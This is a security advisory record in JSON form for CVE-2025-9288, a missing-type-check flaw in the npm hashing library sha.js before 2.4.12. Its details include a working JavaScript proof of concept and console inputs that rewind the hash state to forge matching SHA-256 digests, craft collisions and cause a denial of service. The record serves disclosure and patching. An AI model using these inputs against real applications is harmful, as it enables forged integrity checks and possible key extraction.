CVE-2025-9288: Sha.js Sha.js Is Missing Type Checks Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-95m3-7q98-8xr5",
  "modified" : "2025-11-03T21:34:22Z",
  "published" : "2025-08-21T14:47:55Z",
  "aliases" : [ "CVE-2025-9288" ],
  "summary" : "sha.js is missing type checks leading to hash rewind and passing on crafted data",
  "details" : "### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = sha('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n> require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sha.js"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.4.12"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.11"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-9288"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/browserify/sha.js/pull/78"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/browserify/sha.js"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord?id=CVE-2025-9287"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-21T14:47:55Z",
    "nvd_published_at" : "2025-08-20T22:15:30Z"
  }
}